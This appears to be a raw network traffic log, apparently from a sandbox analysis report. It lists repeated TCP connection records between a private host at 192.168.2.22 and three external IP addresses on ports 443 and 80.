Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
